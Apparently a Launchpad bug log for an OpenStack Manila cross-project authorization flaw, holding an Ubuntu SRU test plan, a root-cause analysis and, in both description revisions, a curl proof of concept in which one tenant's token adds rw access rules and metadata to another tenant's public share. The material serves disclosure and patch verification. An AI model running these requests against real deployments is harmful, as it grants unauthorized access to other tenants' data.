Reproducer script for Ubuntu

** Description changed:

- A member of project A can enqueue, modify, or revoke access rules on a
- public share owned by project B and can modify B's export-location
- metadata. A compatible healthy backend may apply the unauthorized
- access-rule changes to the data plane.
+ Ubuntu SRU
+ 
+ [ Impact ]
+ 
+  * A security vulnerability (CVE-2026-71195 / OSSA-2026-046) in OpenStack
+    Manila allows an authenticated member of one project (Project A) to modify
+    resources belonging to a public share owned by another project (Project B).
+    Specifically, non-owner tenants can add, update, or revoke share access
+    rules (which compatible backends apply to the data plane, granting 
+    unauthorized read/write access).
+ 
+  * The `is_public` flag is intended only to grant read visibility across
+    projects, not administrative or write authority. Because Manila controllers
+    performed policy checks prior to loading the target share object—and
+    `share_api.get()` bypassed object ownership policy evaluation when
+    `is_public=True`—write operations were authorized against the caller's own
+    project context rather than the share owner's project.
+ 
+  * The upstream fix adds a `for_modification=True` parameter to
+    `share_api.get()` so ownership policy checks are strictly enforced on
+    public shares during mutating operations, and scopes export-location
+    metadata lookups to the `share_id` specified in the request URL.
+ 
+ [ Test Plan ]
+ 
+  * [0] The following versions of the UCA/Ubuntu will be tested:
+        - UCA: caracal
+        - UCA: epoxy
+        - UCA: flamingo
+        - UCA: gazpacho
+        - UCA: hibiscus
+        - ubuntu: noble
+        - ubuntu: resolute
+        - ubuntu: stonking
+ 
+  * [1] Deploy an OpenStack environment with manila on the target series.
+ 
+  * [1.1] Locate the reproducer script (`manila-cve-reproducer.sh`) here:
+          <tbd>
+ 
+  * [2] Run the reproducer script (`manila-cve-reproducer.sh`) against the
+        unpatched environment to confirm the vulnerability is present. The
+        script performs the following steps:
+        a) Cleans up any leftover test shares, networks, projects, or users
+           from prior runs (unless `--skip-setup` is passed).
+        b) Creates the `cephfsnfs` share type, two isolated non-admin projects
+           (`project-a` and `project-b`), two users (`user-a` and `user-b`)
+           with the `member` role in their respective projects, and tenant
+           networks (`net-a` and `net-b`), then restarts `manila-share`.
+        c) Authenticates via Keystone to obtain scoped tokens for `admin`,
+           `user-b` (share owner), and `user-a` (non-owner attacker).
+        d) Creates an NFS share (`vmt-public-write-<RUN_ID>`) as `user-b` and
+           waits until its status becomes `available`.
+        e) Marks `project-b`'s share as public (`"is_public": true`) using the
+           `admin` token.
+        f) Verifies `user-a` can read the public share via
+           `GET /v2/shares/<SHARE_ID>` (HTTP 200).
+        g) Attempts an unauthorized cross-project write as `user-a` by calling
+           `POST /v2/shares/<SHARE_ID>/action` (`allow_access` for IP
+           `198.51.100.100` with `rw` access). On unpatched packages, this
+           erroneously returns HTTP 200 with a newly created `access.id`
+           (`[CVE CONFIRMED]`).
+ 
+  * [3] Upgrade the `manila` packages on the target deployment from
+        `-proposed`.
+ 
+  * [4] Re-run `manila-cve-reproducer.sh` (or run with `--skip-setup` to
+        reuse the test projects and users) and verify the fix:
+        a) Confirm step 2f (`GET /v2/shares/<SHARE_ID>` as `user-a`) still
+           succeeds with HTTP 200 (public read visibility is preserved).
+        b) Confirm step 2g (`POST /v2/shares/<SHARE_ID>/action` `allow_access`
+           as `user-a`) is now rejected with HTTP 403 (`PolicyNotAuthorized`)
+           and no access rule is created.
+ 
+ [ Where problems could occur ]
+ 
+  * Deployments with custom `policy.yaml` rules around `share:get` may see
+    stricter enforcement on public share mutations, as `share_api.get()` now
+    evaluates `share:get` when `for_modification=True`.
+ 
+ [ Other Info ]
+ 
+  * Upstream commit to manila (master):
+    https://review.opendev.org/c/openstack/manila/+/1011478
+    (commit d82acf175eec168cef5758632a84dbceac2ac341)
+ 
+  * CVE-2026-71195 information:
+    https://nvd.nist.gov/vuln/detail/cve-2026-71195
+ 
+ 
+ ===== ORIGINAL BUG DESCRIPTION =====
+ 
+ 
+ A member of project A can enqueue, modify, or revoke access rules on a public 
share owned by project B and can modify B's export-location metadata. A 
compatible healthy backend may apply the unauthorized access-rule changes to 
the data plane.
  
  The `is_public` flag grants API visibility; it does not transfer
  management authority over the share. The controller authorizes the write
  before loading the target share. Because no object target is supplied,
  policy evaluation substitutes the caller's own project. The subsequent
  lookup accepts a foreign public share for visibility, and the write path
  does not re-authorize against that share's actual project.
  
  Reproduction:
  
  The issue was reproduced in an operator-authorized DevStack lab running
  Manila revision `72d25d998db2345d6377af58b3967d982c22ecce`, a
  stable/2026.1 descendant. Keystone authentication and the default Manila
  policy were used.
  
  | Request | Actual result |
  | --- | --- |
  | B share reaches `available` | HTTP 200 |
  | Admin makes B share public | HTTP 200 |
  | A reads B public share | HTTP 200, `is_public=true` |
  | A adds an access rule to B share | HTTP 200, rule references B share |
  | A updates B-owned control rule from `ro` to `rw` | HTTP 200, 
`queued_to_apply` |
  | A denies B-owned control rule | HTTP 202; B observes `queued_to_deny` |
  | A lists B export locations | HTTP 200 |
  | A writes then deletes B export-location metadata | HTTP 200, HTTP 200 |
  | B deletes each disposable share | HTTP 202; cleanup |
  
  Affected Versions:
  
  | Upstream release tag | Commit | Source code |
  | --- | --- | --- |
  | 20.0.0 | 502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae | [Public share 
lookup](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/share/api.py#L2299-L2314),
 [v1 access-rule mixin used by 
v2](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/api/v1/shares.py#L544-L691),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/api/v2/metadata.py#L82-L125)
 are present |
  | 21.0.0 | 1e090676e20fbbac3fa15e7b775a1b787fc40d17 | [Public share 
lookup](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/share/api.py#L2339-L2354),
 [v1 access-rule mixin used by 
v2](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/api/v1/shares.py#L565-L712),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/api/v2/metadata.py#L82-L125)
 are present |
  | 22.0.0 | bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd | [v2 access-rule 
path](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/api/v2/shares.py#L703-L881),
 [public 
lookup](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/share/api.py#L2408-L2423),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/api/v2/metadata.py#L86-L129)
 are present |
  
  Revelant source code:
  
  Upstream "master" resolved to `369fe49bdbd0d5744a0f96df15a9ab4240bca570`
  on 2026-07-21.
  
  - 
[wsgi.py:1128-1163](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/openstack/wsgi.py#L1128-L1163)
    invokes `policy.check_policy` without an object target.
    
[policy.py:152-206](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policy.py#L152-L206)
    then substitutes the caller's project and user as the target.
  - 
[shares.py:770-881](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/shares.py#L770-L881)
    authorizes allow/deny before calling `share_api.get`
    
[share/api.py:2408-2423](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/share/api.py#L2408-L2423)
    skips the normal object policy check for a public share.
  - [shares 
policy:599-622](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policies/shares.py#L599-L622)
    grants these operations to a project member, while
    [share-access 
policy:77-87](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policies/share_access.py#L77-L87)
    does the same for rule update.
  - 
[share_accesses.py:147-177](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_accesses.py#L147-L177)
    fetches the rule and public parent share only after the un-targeted update 
policy check.
  - 
[share_export_locations.py:47-55](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_export_locations.py#L47-L55)
    accepts a public parent share without a policy check; its metadata 
endpoints at
    
[160-228](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_export_locations.py#L160-L228)
    then authorize only the caller-derived target.
    
[metadata.py:86-129](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/metadata.py#L86-L129)
    additionally excludes `share_export_location` from its modification policy 
check, despite the adjacent comment that public metadata must not be modified 
by non-owners.
  
  PoC:
  
      export MANILA_URL='https://manila.example.invalid/share/v2'
      export MV='X-OpenStack-Manila-API-Version: 2.88'
      export OWNER_TOKEN='<project-B-member-token>'
      export ATTACKER_TOKEN='<project-A-member-token>'
      export ADMIN_TOKEN='<administrator-token>'
      export RUN_ID="$(date +%s)"
  
      # Project B creates the disposable target. Copy share.id to SHARE_ID.
      curl -sS -i -X POST "$MANILA_URL/shares" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data 
"{\"share\":{\"share_proto\":\"NFS\",\"size\":1,\"name\":\"vmt-public-write-$RUN_ID\",\"share_type\":\"dhss_false\"}}"
  
      export SHARE_ID='<returned-project-B-share-uuid>'
      # Repeat until HTTP 200 reports status "available" and an export location.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Administrator-only test setup: make B's disposable share public.
      curl -sS -i -X PUT "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $ADMIN_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data '{"share":{"is_public":true}}'
  
      # Read control. A may see a public B share, but this must not make A its
      # owner or authorize subsequent writes.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      # Vulnerable write 1: project A adds a rule to B's public share. Expected
      # by ownership rules: HTTP 403/404. Actual: HTTP 200 and access.share_id
      # equals SHARE_ID. Copy access.id to ATTACKER_RULE_ID for cleanup.
      curl -sS -i -X POST "$MANILA_URL/shares/$SHARE_ID/action" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data '{
          "allow_access": {
            "access_type": "ip",
            "access_to": "198.51.100.100",
            "access_level": "rw"
          }
        }'
  
      export ATTACKER_RULE_ID='<access-id-returned-by-project-A-request>'
  
      # This read shows whether the backend accepted the queued rule. Its final
      # state is not needed to prove the API authorization defect.
      curl -sS -i "$MANILA_URL/share-access-rules/$ATTACKER_RULE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # A can read B's public export locations. Copy one response id to
      # EXPORT_LOCATION_ID.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID/export_locations" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      export EXPORT_LOCATION_ID='<returned-export-location-uuid>'
  
      # Vulnerable write 2: A writes metadata on B's export location. Expected
      # by ownership rules: HTTP 403/404. Actual: HTTP 200.
      curl -sS -i -X PUT \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data "{\"metadata\":{\"vmt\":\"project-A-$RUN_ID\"}}"
  
      # Read the key with B's legitimate token to confirm that A's write landed
      # on B's export location. Expected: HTTP 200 and
      # {"meta":{"vmt":"project-A-$RUN_ID"}}.
      curl -sS -i \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata/vmt"
 \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Remove only the disposable metadata key created above.
      curl -sS -i -X DELETE \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata/vmt"
 \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      # B removes the rule A created, then deletes the disposable share. Both 
are
      # asynchronous; repeat their GET requests until the resources are gone.
      curl -sS -i -X POST "$MANILA_URL/shares/$SHARE_ID/action" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data "{\"deny_access\":{\"access_id\":\"$ATTACKER_RULE_ID\"}}"
      curl -sS -i -X DELETE "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Cleanup verification: repeat these reads until both return HTTP 404.
      curl -sS -i "$MANILA_URL/share-access-rules/$ATTACKER_RULE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"

** Attachment added: "manila-cve-reproducer.sh"
   
https://bugs.launchpad.net/ossa/+bug/2161412/+attachment/6018900/+files/manila-cve-reproducer.sh

** Description changed:

  Ubuntu SRU
  
  [ Impact ]
  
-  * A security vulnerability (CVE-2026-71195 / OSSA-2026-046) in OpenStack
-    Manila allows an authenticated member of one project (Project A) to modify
-    resources belonging to a public share owned by another project (Project B).
-    Specifically, non-owner tenants can add, update, or revoke share access
-    rules (which compatible backends apply to the data plane, granting 
-    unauthorized read/write access).
- 
-  * The `is_public` flag is intended only to grant read visibility across
-    projects, not administrative or write authority. Because Manila controllers
-    performed policy checks prior to loading the target share object—and
-    `share_api.get()` bypassed object ownership policy evaluation when
-    `is_public=True`—write operations were authorized against the caller's own
-    project context rather than the share owner's project.
- 
-  * The upstream fix adds a `for_modification=True` parameter to
-    `share_api.get()` so ownership policy checks are strictly enforced on
-    public shares during mutating operations, and scopes export-location
-    metadata lookups to the `share_id` specified in the request URL.
+  * A security vulnerability (CVE-2026-71195 / OSSA-2026-046) in OpenStack
+    Manila allows an authenticated member of one project (Project A) to modify
+    resources belonging to a public share owned by another project (Project B).
+    Specifically, non-owner tenants can add, update, or revoke share access
+    rules (which compatible backends apply to the data plane, granting
+    unauthorized read/write access).
+ 
+  * The `is_public` flag is intended only to grant read visibility across
+    projects, not administrative or write authority. Because Manila controllers
+    performed policy checks prior to loading the target share object—and
+    `share_api.get()` bypassed object ownership policy evaluation when
+    `is_public=True`—write operations were authorized against the caller's own
+    project context rather than the share owner's project.
+ 
+  * The upstream fix adds a `for_modification=True` parameter to
+    `share_api.get()` so ownership policy checks are strictly enforced on
+    public shares during mutating operations, and scopes export-location
+    metadata lookups to the `share_id` specified in the request URL.
  
  [ Test Plan ]
  
-  * [0] The following versions of the UCA/Ubuntu will be tested:
-        - UCA: caracal
-        - UCA: epoxy
-        - UCA: flamingo
-        - UCA: gazpacho
-        - UCA: hibiscus
-        - ubuntu: noble
-        - ubuntu: resolute
-        - ubuntu: stonking
- 
-  * [1] Deploy an OpenStack environment with manila on the target series.
- 
-  * [1.1] Locate the reproducer script (`manila-cve-reproducer.sh`) here:
-          <tbd>
- 
-  * [2] Run the reproducer script (`manila-cve-reproducer.sh`) against the
-        unpatched environment to confirm the vulnerability is present. The
-        script performs the following steps:
-        a) Cleans up any leftover test shares, networks, projects, or users
-           from prior runs (unless `--skip-setup` is passed).
-        b) Creates the `cephfsnfs` share type, two isolated non-admin projects
-           (`project-a` and `project-b`), two users (`user-a` and `user-b`)
-           with the `member` role in their respective projects, and tenant
-           networks (`net-a` and `net-b`), then restarts `manila-share`.
-        c) Authenticates via Keystone to obtain scoped tokens for `admin`,
-           `user-b` (share owner), and `user-a` (non-owner attacker).
-        d) Creates an NFS share (`vmt-public-write-<RUN_ID>`) as `user-b` and
-           waits until its status becomes `available`.
-        e) Marks `project-b`'s share as public (`"is_public": true`) using the
-           `admin` token.
-        f) Verifies `user-a` can read the public share via
-           `GET /v2/shares/<SHARE_ID>` (HTTP 200).
-        g) Attempts an unauthorized cross-project write as `user-a` by calling
-           `POST /v2/shares/<SHARE_ID>/action` (`allow_access` for IP
-           `198.51.100.100` with `rw` access). On unpatched packages, this
-           erroneously returns HTTP 200 with a newly created `access.id`
-           (`[CVE CONFIRMED]`).
- 
-  * [3] Upgrade the `manila` packages on the target deployment from
-        `-proposed`.
- 
-  * [4] Re-run `manila-cve-reproducer.sh` (or run with `--skip-setup` to
-        reuse the test projects and users) and verify the fix:
-        a) Confirm step 2f (`GET /v2/shares/<SHARE_ID>` as `user-a`) still
-           succeeds with HTTP 200 (public read visibility is preserved).
-        b) Confirm step 2g (`POST /v2/shares/<SHARE_ID>/action` `allow_access`
-           as `user-a`) is now rejected with HTTP 403 (`PolicyNotAuthorized`)
-           and no access rule is created.
+  * [0] The following versions of the UCA/Ubuntu will be tested:
+        - UCA: caracal
+        - UCA: epoxy
+        - UCA: flamingo
+        - UCA: gazpacho
+        - UCA: hibiscus
+        - ubuntu: noble
+        - ubuntu: resolute
+        - ubuntu: stonking
+ 
+  * [1] Deploy an OpenStack environment with manila on the target series.
+ 
+  * [1.1] Locate the reproducer script (`manila-cve-reproducer.sh`) here:
+          https://bugs.launchpad.net/ossa/+bug/2161412/comments/105
+ 
+  * [2] Run the reproducer script (`manila-cve-reproducer.sh`) against the
+        unpatched environment to confirm the vulnerability is present. The
+        script performs the following steps:
+        a) Cleans up any leftover test shares, networks, projects, or users
+           from prior runs (unless `--skip-setup` is passed).
+        b) Creates the `cephfsnfs` share type, two isolated non-admin projects
+           (`project-a` and `project-b`), two users (`user-a` and `user-b`)
+           with the `member` role in their respective projects, and tenant
+           networks (`net-a` and `net-b`), then restarts `manila-share`.
+        c) Authenticates via Keystone to obtain scoped tokens for `admin`,
+           `user-b` (share owner), and `user-a` (non-owner attacker).
+        d) Creates an NFS share (`vmt-public-write-<RUN_ID>`) as `user-b` and
+           waits until its status becomes `available`.
+        e) Marks `project-b`'s share as public (`"is_public": true`) using the
+           `admin` token.
+        f) Verifies `user-a` can read the public share via
+           `GET /v2/shares/<SHARE_ID>` (HTTP 200).
+        g) Attempts an unauthorized cross-project write as `user-a` by calling
+           `POST /v2/shares/<SHARE_ID>/action` (`allow_access` for IP
+           `198.51.100.100` with `rw` access). On unpatched packages, this
+           erroneously returns HTTP 200 with a newly created `access.id`
+           (`[CVE CONFIRMED]`).
+ 
+  * [3] Upgrade the `manila` packages on the target deployment from
+        `-proposed`.
+ 
+  * [4] Re-run `manila-cve-reproducer.sh` (or run with `--skip-setup` to
+        reuse the test projects and users) and verify the fix:
+        a) Confirm step 2f (`GET /v2/shares/<SHARE_ID>` as `user-a`) still
+           succeeds with HTTP 200 (public read visibility is preserved).
+        b) Confirm step 2g (`POST /v2/shares/<SHARE_ID>/action` `allow_access`
+           as `user-a`) is now rejected with HTTP 403 (`PolicyNotAuthorized`)
+           and no access rule is created.
  
  [ Where problems could occur ]
  
-  * Deployments with custom `policy.yaml` rules around `share:get` may see
-    stricter enforcement on public share mutations, as `share_api.get()` now
-    evaluates `share:get` when `for_modification=True`.
+  * Deployments with custom `policy.yaml` rules around `share:get` may see
+    stricter enforcement on public share mutations, as `share_api.get()` now
+    evaluates `share:get` when `for_modification=True`.
  
  [ Other Info ]
  
-  * Upstream commit to manila (master):
-    https://review.opendev.org/c/openstack/manila/+/1011478
-    (commit d82acf175eec168cef5758632a84dbceac2ac341)
- 
-  * CVE-2026-71195 information:
-    https://nvd.nist.gov/vuln/detail/cve-2026-71195
- 
+  * Upstream commit to manila (master):
+    https://review.opendev.org/c/openstack/manila/+/1011478
+    (commit d82acf175eec168cef5758632a84dbceac2ac341)
+ 
+  * CVE-2026-71195 information:
+    https://nvd.nist.gov/vuln/detail/cve-2026-71195
  
  ===== ORIGINAL BUG DESCRIPTION =====
  
- 
- A member of project A can enqueue, modify, or revoke access rules on a public 
share owned by project B and can modify B's export-location metadata. A 
compatible healthy backend may apply the unauthorized access-rule changes to 
the data plane.
+ A member of project A can enqueue, modify, or revoke access rules on a
+ public share owned by project B and can modify B's export-location
+ metadata. A compatible healthy backend may apply the unauthorized
+ access-rule changes to the data plane.
  
  The `is_public` flag grants API visibility; it does not transfer
  management authority over the share. The controller authorizes the write
  before loading the target share. Because no object target is supplied,
  policy evaluation substitutes the caller's own project. The subsequent
  lookup accepts a foreign public share for visibility, and the write path
  does not re-authorize against that share's actual project.
  
  Reproduction:
  
  The issue was reproduced in an operator-authorized DevStack lab running
  Manila revision `72d25d998db2345d6377af58b3967d982c22ecce`, a
  stable/2026.1 descendant. Keystone authentication and the default Manila
  policy were used.
  
  | Request | Actual result |
  | --- | --- |
  | B share reaches `available` | HTTP 200 |
  | Admin makes B share public | HTTP 200 |
  | A reads B public share | HTTP 200, `is_public=true` |
  | A adds an access rule to B share | HTTP 200, rule references B share |
  | A updates B-owned control rule from `ro` to `rw` | HTTP 200, 
`queued_to_apply` |
  | A denies B-owned control rule | HTTP 202; B observes `queued_to_deny` |
  | A lists B export locations | HTTP 200 |
  | A writes then deletes B export-location metadata | HTTP 200, HTTP 200 |
  | B deletes each disposable share | HTTP 202; cleanup |
  
  Affected Versions:
  
  | Upstream release tag | Commit | Source code |
  | --- | --- | --- |
  | 20.0.0 | 502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae | [Public share 
lookup](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/share/api.py#L2299-L2314),
 [v1 access-rule mixin used by 
v2](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/api/v1/shares.py#L544-L691),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/502f1c8d5b9e8dee1bae53158c98ccb3b0c4a7ae/manila/api/v2/metadata.py#L82-L125)
 are present |
  | 21.0.0 | 1e090676e20fbbac3fa15e7b775a1b787fc40d17 | [Public share 
lookup](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/share/api.py#L2339-L2354),
 [v1 access-rule mixin used by 
v2](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/api/v1/shares.py#L565-L712),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/1e090676e20fbbac3fa15e7b775a1b787fc40d17/manila/api/v2/metadata.py#L82-L125)
 are present |
  | 22.0.0 | bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd | [v2 access-rule 
path](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/api/v2/shares.py#L703-L881),
 [public 
lookup](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/share/api.py#L2408-L2423),
 and [export metadata 
lookup](https://opendev.org/openstack/manila/src/commit/bb1965a08a20c4ee63c6f9f2537cdc0a3a4451bd/manila/api/v2/metadata.py#L86-L129)
 are present |
  
  Revelant source code:
  
  Upstream "master" resolved to `369fe49bdbd0d5744a0f96df15a9ab4240bca570`
  on 2026-07-21.
  
  - 
[wsgi.py:1128-1163](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/openstack/wsgi.py#L1128-L1163)
    invokes `policy.check_policy` without an object target.
    
[policy.py:152-206](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policy.py#L152-L206)
    then substitutes the caller's project and user as the target.
  - 
[shares.py:770-881](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/shares.py#L770-L881)
    authorizes allow/deny before calling `share_api.get`
    
[share/api.py:2408-2423](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/share/api.py#L2408-L2423)
    skips the normal object policy check for a public share.
  - [shares 
policy:599-622](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policies/shares.py#L599-L622)
    grants these operations to a project member, while
    [share-access 
policy:77-87](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/policies/share_access.py#L77-L87)
    does the same for rule update.
  - 
[share_accesses.py:147-177](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_accesses.py#L147-L177)
    fetches the rule and public parent share only after the un-targeted update 
policy check.
  - 
[share_export_locations.py:47-55](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_export_locations.py#L47-L55)
    accepts a public parent share without a policy check; its metadata 
endpoints at
    
[160-228](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/share_export_locations.py#L160-L228)
    then authorize only the caller-derived target.
    
[metadata.py:86-129](https://opendev.org/openstack/manila/src/commit/369fe49bdbd0d5744a0f96df15a9ab4240bca570/manila/api/v2/metadata.py#L86-L129)
    additionally excludes `share_export_location` from its modification policy 
check, despite the adjacent comment that public metadata must not be modified 
by non-owners.
  
  PoC:
  
      export MANILA_URL='https://manila.example.invalid/share/v2'
      export MV='X-OpenStack-Manila-API-Version: 2.88'
      export OWNER_TOKEN='<project-B-member-token>'
      export ATTACKER_TOKEN='<project-A-member-token>'
      export ADMIN_TOKEN='<administrator-token>'
      export RUN_ID="$(date +%s)"
  
      # Project B creates the disposable target. Copy share.id to SHARE_ID.
      curl -sS -i -X POST "$MANILA_URL/shares" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data 
"{\"share\":{\"share_proto\":\"NFS\",\"size\":1,\"name\":\"vmt-public-write-$RUN_ID\",\"share_type\":\"dhss_false\"}}"
  
      export SHARE_ID='<returned-project-B-share-uuid>'
      # Repeat until HTTP 200 reports status "available" and an export location.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Administrator-only test setup: make B's disposable share public.
      curl -sS -i -X PUT "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $ADMIN_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data '{"share":{"is_public":true}}'
  
      # Read control. A may see a public B share, but this must not make A its
      # owner or authorize subsequent writes.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      # Vulnerable write 1: project A adds a rule to B's public share. Expected
      # by ownership rules: HTTP 403/404. Actual: HTTP 200 and access.share_id
      # equals SHARE_ID. Copy access.id to ATTACKER_RULE_ID for cleanup.
      curl -sS -i -X POST "$MANILA_URL/shares/$SHARE_ID/action" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data '{
          "allow_access": {
            "access_type": "ip",
            "access_to": "198.51.100.100",
            "access_level": "rw"
          }
        }'
  
      export ATTACKER_RULE_ID='<access-id-returned-by-project-A-request>'
  
      # This read shows whether the backend accepted the queued rule. Its final
      # state is not needed to prove the API authorization defect.
      curl -sS -i "$MANILA_URL/share-access-rules/$ATTACKER_RULE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # A can read B's public export locations. Copy one response id to
      # EXPORT_LOCATION_ID.
      curl -sS -i "$MANILA_URL/shares/$SHARE_ID/export_locations" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      export EXPORT_LOCATION_ID='<returned-export-location-uuid>'
  
      # Vulnerable write 2: A writes metadata on B's export location. Expected
      # by ownership rules: HTTP 403/404. Actual: HTTP 200.
      curl -sS -i -X PUT \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata" \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data "{\"metadata\":{\"vmt\":\"project-A-$RUN_ID\"}}"
  
      # Read the key with B's legitimate token to confirm that A's write landed
      # on B's export location. Expected: HTTP 200 and
      # {"meta":{"vmt":"project-A-$RUN_ID"}}.
      curl -sS -i \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata/vmt"
 \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Remove only the disposable metadata key created above.
      curl -sS -i -X DELETE \
        
"$MANILA_URL/shares/$SHARE_ID/export_locations/$EXPORT_LOCATION_ID/metadata/vmt"
 \
        -H "X-Auth-Token: $ATTACKER_TOKEN" -H "$MV"
  
      # B removes the rule A created, then deletes the disposable share. Both 
are
      # asynchronous; repeat their GET requests until the resources are gone.
      curl -sS -i -X POST "$MANILA_URL/shares/$SHARE_ID/action" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV" \
        -H 'Content-Type: application/json' \
        --data "{\"deny_access\":{\"access_id\":\"$ATTACKER_RULE_ID\"}}"
      curl -sS -i -X DELETE "$MANILA_URL/shares/$SHARE_ID" \
        -H "X-Auth-Token: $OWNER_TOKEN" -H "$MV"
  
      # Cleanup verification: repeat these reads until both return HTTP 404.
      curl -sS -i "$MANILA_URL/share-access-rules/$ATTACKER_RULE_ID" \
